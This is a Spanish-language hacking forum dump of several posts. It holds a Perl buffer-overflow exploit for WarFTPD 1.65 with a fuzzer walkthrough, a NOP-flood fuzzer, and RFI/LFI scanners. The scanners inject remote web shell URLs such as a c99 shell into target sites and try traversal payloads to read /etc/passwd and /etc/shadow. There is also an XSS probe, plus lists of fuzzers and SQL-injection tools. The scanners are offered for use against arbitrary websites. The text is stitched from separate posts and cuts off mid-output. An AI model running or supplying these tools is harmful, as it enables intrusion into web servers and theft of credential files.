[idea] Ahora bien, puesto que el software que estamos testeando tiene un bug (Reportado y reparado hace mucho tiempo ya...) llegara un momento donde Fuzzer hará que WarFTPD se cierre inesperadamente, para luego anunciar un mensaje en pantalla  en donde podrás leer:



[idea] Ahora Analizamos la Informacion que nos Entrega Fuzzer 1.1 .


[idea] Ahora si nos Damos Cuenta en un inicio del Analisis.

  Please enter your user name.: Como nos muestra en todo el analisis, empieza a verificar si puede producirse un buffer overflow por la cantidad de caracteres en el user o password, y empieza a chequear cuantos, caracteres nececita para poder provocar esta vulnerabilidad.

  Luego Detecta una Vulnerabilidad, por la cantidad de caracteres introducidos en el username. alrededor de 1000 caracteres.

[idea] Tambien navegando por Internet encontre informacion que confirmo mi analisis sobre el Fuzzer.

[idea] Esta vulnerabilidad fuese tenido alguna utilidad  hace 9 años, porque fue descubierto en 1998, busque y busque y no encontre un exploit, con conocimiento basico sobre perl se pudo codear este exploit, lo cual hago mension aqui, es mi primer exploit, aunque no tiene ninguna utilidad para explotar algun ordenador que este corriendo este servicio, pero si de uso educacional.

  Una ves Analizado el Resultado del Fuzzer, y respaldado por el Bugtraq, ahora podemos crear nuestro exploit.

Exploit War FTPD 1.65 Buffer Overflow By OzX [Perl]

Código: php
#!/usr/bin/perl
# ===============================================================================================
#                            War FTPD 1.65
#                               By OzX
# ==============================================================================================
# Referencia: http://seclists.org/bugtraq/1998/Feb/0013.html
# Windows 95/NT War FTPD 1.65 Buffer Overflow
# Exploit Diseñado para el Manual de Fuzzer: Buscando Vulnerabilidades
# www.new-Bytes.net
# #================================================================================================
use strict;
use Net::FTP;

my $username = "////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////";
my $pwd = "exploit";
my $ftp = Net::FTP->new("localhost") or die("No se pudo conectar al servidor, porque el user y pass no eran correctos \n, pero se logro la intencion de crear el buffer overflow : $!");
$ftp->login($username,$pwd) or die("Login incorrecto: $!");
$ftp->quit or die("No se puede desconectar del servidor: $!");


  Bueno Aqui les Dejo un Video en donde Demuestra que el Exploit Funciona a la Perfeccion.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta




[idea] Saludos, y Ojala que entiendan mi Adaptacion, la creacion del Exploit y todo lo demas, la siguiente semana lo volvere a revisar para seguir expandiendolo ya que el tema da para mucho mas,tambien para que se paresca menos al paper original y se expanda, aunque de forma de introduccion es bastante bueno.

Propiedad de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#13
Código: perl
#!/usr/bin/perl

# By Xianur0

  use IO::Socket;
my $host = $ARGV[0];
my $puerto = $ARGV[1] || die("Uso: fuzzerbof.pl [ip] [puerto]\n");
my $nop = "\x90";
for($i=1;$i<1000000;$i++) {
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
$paquete = $nop x $i;
print $sock $paquete;
if(!$sock) {
print "Conexion Muerta al enviar $i bytes!\n";
} else { print "Conexion Viva a $i bytez\n"; close($sock);}
}
#14
Bugs y Exploits / Que es un FUZZER y para que sirve
Febrero 25, 2010, 11:54:47 AM
Herramientas de seguridad

Un fuzzer es un programa que intenta descubrir vulnerabilidades de seguridad enviando una entrada arbitraria a una aplicacion. Si el programa contiene una vulnerabilidad que puede conducir a una excepción, el choque o el error de servidor (en el caso de web apps), puede ser determinado que una vulnerabilidad ha sido descubierta. Fuzzers a menudo son llamados Inyectores de Falta por esta razón, ellos generan faltas y les envían a una aplicacion. Generalmente los fuzzers están bien para el encuentro de buffer overflow, DoS, SQL Injection, XSS, y bugs Format String . Ellos hacen un trabajo pobre en el encuentro de vulnerabilidades relacionada con el descubrimiento de la información, defectos de cifrado y cualquier otra vulnerabilidad que no hace que el programa se estrelle.

Contra lo que pueda parecer, el sistema no es nuevo. Fuzz, desarrollado en 1990 por Barton Miller en la Universidad de Wisconsin en Madison, pasa por ser el primer fuzzer, pero hoy en día se cuentan por decenas los programas de este tipo, utilizados generalmente en tests de penetración...

Pero, ¿cuál es la efectividad de los fuzzers contra los navegadores web? Sencillamente extraordinaria. Por poner un ejemplo, en pocas semanas H.D. Moore (investigador de seguridad creador y responsable del Metasploit Project), asegura haber encontrado cientos de formas de colgar Internet Explorer, y en menor medida el resto de navegadores.

La siguiente es una lista de programas fuzzers con una breve explicacion:

    * (L)ibrary (E)xploit API - lxapi

Una coleccion de Scripts en python para fuzzing
Mangle

Un fuzzer para generar etiquetas de HTML impares, esto también autolanzará un navegador. El programa encontró el infame IFRAME IE bug.
SPIKE - Una colección de muchos fuzzers de Inmunidad. Usado para encontrar el reciente remoto RDP kernel DoS against a firewalled XP SP2, y muchos otros.
PROTOS WAP - Un fuzzer del proyecto PROTOS para fuzzing WAP
PROTOS HTTP-reply - Otro fuzzer de los tipos PROTOS para ataque/ respuestas de HTTP, útiles para broswer vulns.
PROTOS LDAP - Para fuzzing LDAP, no tan acertado como los demás del proyecto PROTOS
PROTOS SNMP - Clasico SNMP fuzzer, encontrando una vuln en casi cada engranaje conectado a una red disponible en el tiempo (2002).
PROTOS SIP - Para fuzzing a todos aquellos nuevos dispositivos de VOIP SIP que usted ve por todas partes.
PROTOS ISAKMP - Para atacar implementaciones IPSec.
RIOT & faultmon - Para atacar protocolos de texto simples (Telnet, HTTP, SMTP). Usado por Riley Hassell cuando él trabajó en eEye para descubrir el IIS .printer overflow e incluido en The Shellcoder's Handbook.
SPIKE Proxy - Un semi-funcional web fuzzer del Inmunidad que trajo el original SPIKE
Tag Brute Forcer - Fuzzer imponente de Drew Copley de eEye para atacar ActiveX en uso. Usado para encontrar un manojo de bugs en IE, incluyendo unos realmente poderosos para alcanzar heap overflows.
FileFuzz - Un formato de archivo fuzzer para PE (windows) binarios de iDefense. Tiene bonito GUI. Recientemente usado para encontrar bugs en Word.
SPIKEFile - Un formato de archivo fuzzer para ataque ELF (Linux) binarios de iDefense. Basado en SPIKE
notSPIKFile - Un ELF fuzzer estrechamente relacionado con FileFuzz, en vez de usar SPIKE como un punto de partida.
Screaming Cobra -El nombre hace al fuzzer parecer mejor de lo que realmente es, pero está bien para encontrar bugs CGI. También,es un perl script fácil de modificar o extenderse.
WebFuzzer -Un fuzzer para (adivina qué?) web app vulns.
eFuzz - Un fuzzer para el protocolo generico TCP/IP. Fácil de usar, pero tal vez no tan destacado como otros de esta lista.
Peach Fuzzer - Gran fuzzer escrito por Michael Eddington. Este Fuzzer es más un marco para construir otros fuzzers.
Fuzz - El ORIGINAL fuzzer desarrollado por Dr. Barton Miller que fue el Alma Matter, de la University of Wisconsin-Madison en 1990.
Fuzzball2 un pequeño fuzzer para TCP e IP. Esto envía un manojo de paquetes más o menos falsos a la host de su eleccion.
Fuzzer version 1.1 es una herramienta para fuzzing de multiple protocolo escrita en python.Esto puede ser usado encontrar SQL injection, format string, buffer overflow, directory traversal, y otras vulnerabilidades.
Scratch es un destructor de protocolo avanzado ("fuzzer") que rutinariamente puede encontrar una amplia variedad de vulnerabilidades de un paquete simple. El programa hace el análisis de complejos archivos binarios. También viene con un marco para protocolos fuzzing binarios como SSL Y SMB.

* Nessus

Auditor de Seguridad Remoto. El cliente "The Nessus Security Scanner" es una herramienta de auditoría de seguridad. Hace posible evaluar módulos de seguridad intentando encontrar puntos vulnerables que deberían ser reparados. Está compuesto por dos partes: un servidor, y un cliente. El servidor/daemon, "nessusd" se encarga de los ataques, mientras que el cliente, "nessus", se ocupa del usuario por medio de una linda interfaz para X11/GTK+. Este paquete contiene el cliente para GTK+1.2, que además existe en otras formas y para otras platarformas.

   
* Netcat

Una navaja multiuso para TCP/IP. Una utilidad simple para Unix que lee y escribe datos a través de conexiones de red usando los protocolos TCP o UDP. Está diseñada para ser una utilidad del tipo "back-end" confiable que pueda ser usada directamente o fácilmente manejada por otros programas y scripts. Al mismo tiempo, es una herramienta rica en características útil para depurar (debug) y explorar, ya que puede crear casi cualquier tipo de conexión que puedas necesitar y tiene muchas características incluídas.

Tcpdump

Una poderosa herramienta para el monitoreo y la adquisición de datos en redes. Este programa te permite volcar (a un archivo, la pantalla,etc.) el tráfico que presenta una red. Puede ser usado para imprimir los encabezados de los paquetes en una interfaz de red ("network interface") que concuerden con una cierta expresión. Se puede usar esta herramienta para seguir problemas en la red, para detectar "ping attacks" o para monitorear las actividades de una red.

* Snort

un Sniffer/logger de paquetes flexible que detecta ataques. Snort está basado en la biblioteca `libpcap' y puede ser usado como un "sistema de detección de intrusiones" (IDS) de poco peso. Posee un registro basado en reglas y puede buscar/identificar contenido además de poder ser usado para detectar una gran variedad de otros ataques e investigaciones (probes), como buffer overflows, barridos de puertos indetectables (stealth port scans), ataques CGI, pruebas de SMB (SMB probes), y mucho más. Otra característica importante de Snort es la capacidad de alertar en tiempo real, siendo estas alertas enviadas a syslog, un archivo de alerta separado o incluso a una computadora con Windows a través de Samba.

* Ethereal

Ethereal es un analizador de tráfico de redes, o "sniffer" para Unix y Sistemas operativos del tipo Unix. usa GTK+, una biblioteca de interfaz gráfica para el usuario (GUI), y libcap, una bliblioteca que facilita la captura y el filtrado de paquetes.

* Whisker

El excelente escáner de vulnerabilidades en CGI de Rain.Forest.Puppy.

* Abacus Portsentry

Este demonio de detección de barrido de puertos tiene la habilidad de detectar estos barridos (incluyendo "stealth scans") en las interfaces de red de tu máquina. Como medida de alarma, puede bloquear al atacante por medio de "hosts.deny", bloqueando el ruteo hacia la máquina hostil o por medio de reglas de firewall. Es parte del set de programas "Abacus". Nota: Si no tenés idea de qué es una port/stealth scan, te recomiendo darte una vuelta por Psionic antes de instalar este paquete. De otra forma, podrías fácilmente bloquear cualquier host que no deberías. (por ej. tu servidor de NFS, tu servidor de DNS, etc.)

* DSniff

Un comprobador de integridad de archivos y directorios. Tripwire es una herramienta que ayuda a administradores y usuarios de sistemas monitoreando alguna posible modificación en algún set de archivos. Si se usa regularmente en los archivos de sistema (por ej. diariamente), Tripwire puede notificar a los administradores del sistema, si algún archivo fue modificado o reemplazado, para que se puedan tomar medidas de control de daños a tiempo.

* Hping2

hping2 es una herramienta de red capaz de enviar paquetes ICMP/UDP/TCP hechos a medida y de mostrar las respuestas del host destino de la misma manera en la que lo hace la herramienta `ping' los las respuestas de ICMP. Puede manejar fragmentación y tamaños y cuerpo arbitrarios de paquetes; además puede ser utilizado para transferir archivo usando protocolos soportados. Al usar hping2, se puede: evaluar el desempeño de la red utilizando diferentes protocolos, tamaños de paquetes, TOS (type of service, o sea, tipo de servicio), y fragmentación; realizar descubrimiento de camino utilizando el campo MTU (onda traceroute); transferir archivos (incluso ante reglas de firewall muy fascistas); realizar funciones al estilo `traceroute' pero bajo diferentes protocolos; detección remota de OS (`remote OS fingerprinting'); auditar una implementación de TCP/IP (`TCP/IP stack') en particular; etc. hping2 es una buena herramienta para aprender acerca de TCP/IP.

* SARA

El Asistente de Investigación para el Auditor de Seguridad (Security Auditor's Research Assistant) es una herramienta de análisis de seguridad de tercera generación que está basada en el modelo de SATAN y distribuída bajo una licencia del estilo de la GNU GPL. Promueve un ambiente colaborativo y es actualizada periódicamente para tener en cuenta las últimas amenazas.

* Sniffit

Una herramienta de monitoreo y "packet sniffer" para paquetes de TCP/UDP/ICMP. sniffit es capaz de dar información técnica muy detallada acerca de estos paquetes (SEC, ACK, TTL, Window, ...) pero también los contenidos de los paquetes en diferentes formatos (hex o puro texto, etc.).

* IPFilter

IP Filter es un filtro de paquetes de TCP/IP, adaptable para uso en un ambiente de firewall. Puede ser utilizado como una módulo de kernel o incorporado en tu kernel de UNIX; es áltamente recomendable utilizarlo como un módulo de kernel. Viene junto con scripts para instalarlo y parchar archivos de sistema, si se require.

* Iptables/netfilter/ipchains/ipfwadm

Administradores de los filtros de paquetes de IP para kernels 2.4.X. iptables se usa para configurar, mantener e inspeccionar las tablas de reglas de filtrado de paquetes de IP en Linux. La herramienta iptables también soporta configuración de NAT (Network Address Translation) dinámica y estática.

* Firewalk

Firewalking es una técnica desarrollada por MDS y DHG que emplea técnicas del estilo de `traceroute' para determinar las reglas de filtrado que se están usando en un dispositivo de transporte de paquetes (NdelT: quise traducir "packet forwarding device"). La última versión de esta herramienta, fierwalk/GTK incluye la opción de usar una interfaz gráfica y nuevos arreglos a errores.

* Strobe

Un "clásico" escáner de puertos de TCP de alta velocidad.

* Jonh the Ripper

Una herramienta activa para crackear passwords. Útil para encontrar passwords débiles de tus usuarios.

* Ntop

Muestra la utilización de la red al estilo de la herramienta `top'. Muestra un sumario del uso de la red de las máquinas en ella en un formato que recuerda a la utilidad de unix `top'. También puede ser utilizada en un `web mode', que permite ver los resultados a través de un explorador de web.


Top 15 con las mejores tools o scanners de sql injection free.



* SQLIer
* SQLbftools
* SQL Injection Brute-forcer
* SQLBrute
* BobCat
* SQLMap
* Absinthe
* SQL Injection Pen-testing Tool
* SQID
* Blind SQL Injection Perl Tool
* SQL Power Injection
* FJ-Injector Framwork
* SQLNinja
* Automagic SQL Injector
* NGSS SQL Injector

[/b][/color]
FUENTE:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

VIDEO
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#15
Bugs y Exploits / Scaner RFI and LFI by D4NB4R
Febrero 25, 2010, 11:52:46 AM
bue aki les dejo un scaner espero sirva

Código: perl
#!/usr/bin/perl -w
#######################################
#

#     * coded by : D4NB4R

#

#     * Contact: [email protected]

#

#     * Greetz :  Pandora's Box Team  ; CCT TEAM ; Remoteexecution ; Clubhacker ; E-r00t ; Mitm

########################################
#------------------------------------------------------------------------------------#
########################################
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
########################################
#------------------------------------------------------------------------------------#
########################################
$sis="eq linux";
$cmd="clear";
$cmd="cls";
system("$cmd");
########################################
#------------------------------------------------------------------------------------#
########################################
print "                                            \n";
print "       ---------------------------------------------------- \n";
print "      |                                            *       | \n";
print "      |  ****   *   *   * *****  ***** ****     *  *  **** |            \n";
print "      |  *  *  * *  **  *  *   * *   * *   *   * *   *     | \n";
print "      |  **** * * * * * *  *   * *   * * **   * * *   ***  | \n";
print "      |  *    *   * *  **  *   * *   * *   *  *   *      * |  \n";
print "      |  *    *   * *   * *****  ***** *    * *   *  ***** |    \n";
print "       ----------------------------------------------------     \n";
print "                       :::Options:::\n\n";
print "                      1.  RFI  2.  LFI\n";
########################################
#------------------------------------------------------------------------------------#
########################################
print ":::Option::: ";
########################################
#------------------------------------------------------------------------------------#
########################################
my $option=<STDIN>;
if ($option==1){&RFI}
if ($option==2){&LFI}
########################################
#------------------------------------------------------------------------------------#
########################################
#######
# RFI #
###############################################
#------------------------------------------------------------------------------------#
########################################
sub RFI {
#
print "\n----------------------------------------------------\n";
print "|                       RFI                        |\n";
print "----------------------------------------------------\n";
print "\Introdusca el .txt donde esta la url a escanear\n";
###############################################
#------------------------------------------------------------------------------------#
########################################
$lista=<STDIN>;
chomp($lista);
#
system("$cmd");
#
print "...Escaneando...\n\n";
#
open(LISTA, "$lista");
while(<LISTA>) {
#
my $lista = $_;
chomp $lista;
#
my $rfi= "http://63.247.72.196/cmd?";
#
my $url=$lista.$rfi;
#
my $req=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
$ua->timeout(20);
my $resposta=$ua->request($req);
#
if($resposta->content =~ /pandora's/){
print "[+] * Encontrado * $url\n";
open(a, ">>RFI.txt");
print a "$url\n";
close(a);
  }else{ print "[-] * No vulnerable * $url\n"; }
}
###############################################
#------------------------------------------------------------------------------------#
########################################
}
#
#######
# LFI #
###############################################
#------------------------------------------------------------------------------------#
########################################
sub LFI {
#
print "\n----------------------------------------------------\n";
print "|                       Lfi                        |\n";
print "----------------------------------------------------\n";
#
print "introdusca el .txt donde esta la url a escanear\n\n";
###############################################
#------------------------------------------------------------------------------------#
########################################
chomp($lista = <STDIN>);
#
system("$cmd");
#
print "....Escaneando....\n\n";
#
open(LISTA, "$lista");
while(<LISTA>) {
#
my $lista = $_;
chomp $lista;
#
@lfi= ('/etc/passwd',
       '/etc/passwd%00',
       '../../../../../../../../../../../../../../../etc/passwd',
       '../../../../../../../../../../../../../../../etc/passwd%00');
#
foreach $bug(@lfi){
#
my $url=$lista.$bug;
#
my $req=HTTP::Request->new(GET=>$url);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
#
if($response->content =~ /root:x:/ ||
$response->content =~ /root:*:/ ||
$response->content =~ /root:!:/){
print "[+] * Encontrado * $url\n";
open(a, ">>LfI.txt");
print a "$url\n";
close(a);
}else{
print "[-] * No Vulnerable * $url\n";}
  }
}
}
########################################
#-------------------Scaner by D4NB4R --------------------#
########################################
#16
Bugs y Exploits / Metasploit Framework 3.2
Febrero 25, 2010, 11:45:25 AM

¿Qué es?
El Metasploit Framework es una plataforma de desarrollo para la creación de herramientas de seguridad y vulnerabilidades. El Framework es utilizado por profesionales de la seguridad de la red para realizar pruebas de vulnerabilidades, los administradores de sistemas para verificar las instalaciones de parches, los proveedores de productos para realizar pruebas de regresión, los investigadores y la seguridad en todo el mundo. El Framework está escrito en el lenguaje de programación Ruby e incluye componentes escritos en C y ensamblador.

¿Qué hace?
El Framework consta de herramientas, bibliotecas, módulos, y las interfaces de usuario. La función básica del Framework es un módulo lanzador, lo que permite al usuario configurar un módulo de explotar y poner en marcha en un sistema de destino. Si la explotación de éxito, la carga útil se ejecuta en el blanco y el usuario dispone de un depósito de interactuar con la carga útil.

framework-3.2.exe (win32)No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
framework-3.2.tar.gz (unix)No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#17
Bugs y Exploits / Moe Multi-Scanner by Guason
Febrero 25, 2010, 11:42:42 AM
Guason ah terminado su multi-scanner in perl. Espero q les sirva.

Este scanea
                 RFI
                 XSS
                 LFI (No disponible)

Entre otras opciones permite el scaneo single (solo una web) o un file para mayor comodidad con varias webs

El resultado se obtiene en el disco C "c:/"

Aca el code


Código: php
#Name program = moe.pl
#Version = beta
#Autor = Guason
#Version = 1.0

use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;

menu:

system ("cls");
system (" mode con cols=150");
system ("mode con lines=100");

print q (


11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111
11111111111111111111110000000010111111111111111111     ----------SINGLE SCAN-------------
11111111111111111111100000000000001111111111111111
11111111111111111111100000000000001111111111111111      1 - Scan XSS
11111111111111111111000110000100000111111111111111      2 - Scan LFI
11111111111111111110001000011011100011111111111111      3 - Scan RFI
11111111111111111000000000000000010011111111111111     
11111111111111110000000100000000000011111111111111
11111111111111111000000000000000000111111111111111     --------------------------------------------
11111111111111110000000100000000000011111111111111
11111111111111110000000001010000000000011111111111
11111111111111110000001001111100000000011111111111
11111111111111110000000001111111011100011111111111    --------MULTIPLE SCAN----------
11111111111111111100000001111111001111111111111111
11111111111111111000010000000000001111111111111111        4 - Multiple scan XSS
11111111111111111110010000000000000011111111111111        5 - Multiple scan LFI  (NO)
11111111111111111111100000000000000011111111111111        6 - Multiple scan RFI
11111111111111111111100000000000000000111111111111       
11111111111111111111000000000000000000111111111111
11111111111111111111100000000000000000001111111111    --------------------------------------------
11111111111111100111100000000000000000001111111111
11111111111111110011110000000000011001111111111111
11111111111111111011111000000111111111111111111111
11111111111111111001111110001111111111111111111111
11111111111111111101111111111111111111111111111111
11111111111111111100111110000011111111111111111111
11111111111111111110111111010101111111111111111111   -----------------------------------------------
11111111111111111110011100000011111111111111111111
11111111111111111110011100110111111111111111111111            7  - About x
11111111111111111110001111110011111111111111111111           8 - Salir del programa
11111111111111111111111111111011111111111111111111
11111111111111111111111111111001111111111111111111
11111111111111111111001111111001111111111111111111  ---------------------------------------------
11111111111111111111001111111101111111111111111111
11111111111111111111001111111101111111111111111111     Autor = Guason
11111111111111111111011111111111111111111111111111
11111111111111111111011111111111111111111111111111
11111111111111111111011111111111111111111111111111

);


print "\n\n";
print "Escoge opcion =";
$opcion = <STDIN>;
chomp $opcion;
print "\n";

if ($opcion == 1 ) { &xss }
if ($opcion == 2 ) { &lfi }
if ($opcion == 3 ) { &rfi }
if ($opcion == 4 ) { &m_xss }
if ($opcion == 5 ) { &m_lfi }
if ($opcion == 6 ) { &m_rfi }
if ($opcion == 7 ) { &about }
if ($opcion == 8 ) { &salir }




if ($opcion =! 1||2||3||4||5||6||7||8) {goto menu ;}





sub lfi {
system ("cls");
print  "\n\n";
print "Pagina web a probar con LFI :::";
$lfi = <STDIN>;
chomp $lfi;
print "\n\n";

print "Objectivo : $lfi\n\nn";



if($lfi !~/http:\/\//){
     $lfi ="http://$lfi";}
@devil=(
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../..etc/passwd%00',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../..etc/passwd',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/security/group',
'../../etc/security/group',
'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/passwd',
'../../etc/security/passwd',
'../../../etc/security/passwd',
'../../../../etc/security/passwd',
'../../../../../etc/security/passwd',
'../../../../../../etc/security/passwd',
'../../../../../../../etc/security/passwd',
'../../../../../../../../etc/security/passwd',
'../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../etc/security/passwd',
'../../../../../../../../../../../../../../etc/security/passwd',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user'
);
foreach $scan(@devil)
{

$run=$lfi.$scan;

print "Probando con $scan\n";

$request =HTTP::Request->new(GET=>$run);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/root:x:/){

print "\n\n";
print "$lfi = Vulnerable\n";



}
}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;

}


sub xss {

system ("cls");
print "\n\n";
print "Escribe la web a explotar con XSS::";
$xssans = <STDIN>;
chomp $xssans;
print "\n\n";

print "Objectivo = $xssans\n\n";

$xsscode='>"<script>alert("Guason")</script><div style="1';
$xss=$xssans.$xsscode;
$agent=LWP::UserAgent->new();
$req=$agent->get("$xss");
if($req->is_success && $req->content=~/Guason/){
print "\n\n";
print "$xssans es Vulnerable\n\n";

} else {
print "\n\n";
print "No es vulnerable\n\n";
}


syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;

}


sub rfi {

system ("cls");
print  "\n\n";
print "Url de la web a explotar con RFI::";
$rfi = <STDIN>;
chomp $rfi;
print "\n\n";

print "Objectivo  = $rfi\n\n";


$rficode="http://younes.by.ru/c99.txt";
$rfid=$rfi.$rficode;
$request =HTTP::Request->new(GET=>$rfid);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/c99/){

print "\n\n";
print "Es vulnerable !\n";


}  else {
print "\n\n";
print "No es vulnerable\n\n";
}



syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;


}

################################LFI_M is obsolete ########################################33


sub m_lfi {



print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;


}


sub m_xss {

print "\n\n";
print "Url de los googles para XSS:";
$xss= <STDIN>;
chomp $xss;


open ( M_XSS , ">>c:/m_xss.txt" ) ;
print M_XSS "Extrayendo vulnerabilidades XSS de $xss\n\n";

open ( HOLA , $xss ) ;
@googles = <HOLA>;
close HOLA;

foreach $xsss(@googles){

$xsscode='>"<script>alert("Guason")</script><div style="1';
$xss=$xsss.$xsscode;
$agent=LWP::UserAgent->new();
$req=$agent->get("$xss");
if($req->is_success && $req->content=~/Guason/){

print "$xsss = Yes!\n";
print M_XSS "$xsss = Yes!\n";
} else {

print "$xsss = No!\n";
print M_XSS  "$xsss = No!\n";
}

}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;


}


sub m_rfi {

print "\n\n";
print "Url de los googles para RFI:";
$rfi= <STDIN>;
chomp $rfi;


open ( M_RFI , ">>c:/m_rfi.txt") ;
print M_RFI "Extrayendo vulnerabilidades RFI de $rfi\n\n";

open ( HOLA , $rfi ) ;
@googles = <HOLA>;
close HOLA;



foreach $rfis(@googles) {

$rficode="http://younes.by.ru/c99.txt";
$rfid=$rfis.$rficode;
$request =HTTP::Request->new(GET=>$rfid);
$agent= LWP::UserAgent->new();
$response=$agent->request($request);
if($response->is_success && $response->content =~/c99/){

print "$rfis = Es vulnerable\n";
print M_RFI "$rfis = Es vulnerable\n";

} else {

print "$rfis = No es vulnerable\n";
print M_RFI "$rfis = No es vulnerable\n";

}


}
print "\n";
syswrite STDOUT, "Presiona enter para volver al menu principal\n";
<STDIN>;
system ("cls");
goto menu;


}



sub about {
system ("cls");
print q (

@@@@@@@@@@@@@@@@@@@@@@@@@*@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@   *@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*  ***@*@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@***@@@@@*@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@**@@@@@@@@*@@@@@@@@@@@@
@@@@@@@@@@@@@@@ *@@@@@@@@@@ @@@@@@@@@@@@
@@@@@@@@@@@@@@@**@@@@@@@@@@**@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@@@@@@**@@@@@@@@@@
@@@@@@@@@@@@@@@@**@@@@@@@@@@@**@@@@@@@@@
@@@@@@@@@@@@@@@@@ @@@@@@*****@@@@@@@@@@@
@@@@@@@@@@@@@@@@@**@@@@*@@@* @@@@@@@@@@@
@@@@@@@@@@@@@@@@@@ @@@@*@@@@**@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@@@*@@@@   @@@@@@@@@
@@@@@@@@@@@@@@@@@@@*@** *@@    @@@@@@@@@
@@@@@@@@@@@@@@@@@@@*            @@@@@@@@
@@@@@@@@@@@@@@@@@@@             @@@@@@@@
@@@@@@@@@@@@@@@@@@@             @@@@@@@@
@@@@@@@@@@@@@@@@@@@@         *@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@       *@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@           @@@@@@@@@@@
@@@@@@@@@@@@@@@@**@@@*@   *@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@ @@@@@@    @@@@@@@@@@@@@
@@@@@@@@@@@@@@@* *@@@@@ @@*@@@@  @@@@@@@
@@@@@@@@@@@@@@@   *@@@@@@@@@@@@   @@@@@@
@@@@@@@@@@@@@@@    @*@@@@@@@@@    @@@@@@
@@@@@@@@@@@@@@@     @@@@@@@@@@    *@@@@@
@@@@@@@@@@@@@@@     @@@@@@@@@@*   @@@@@@
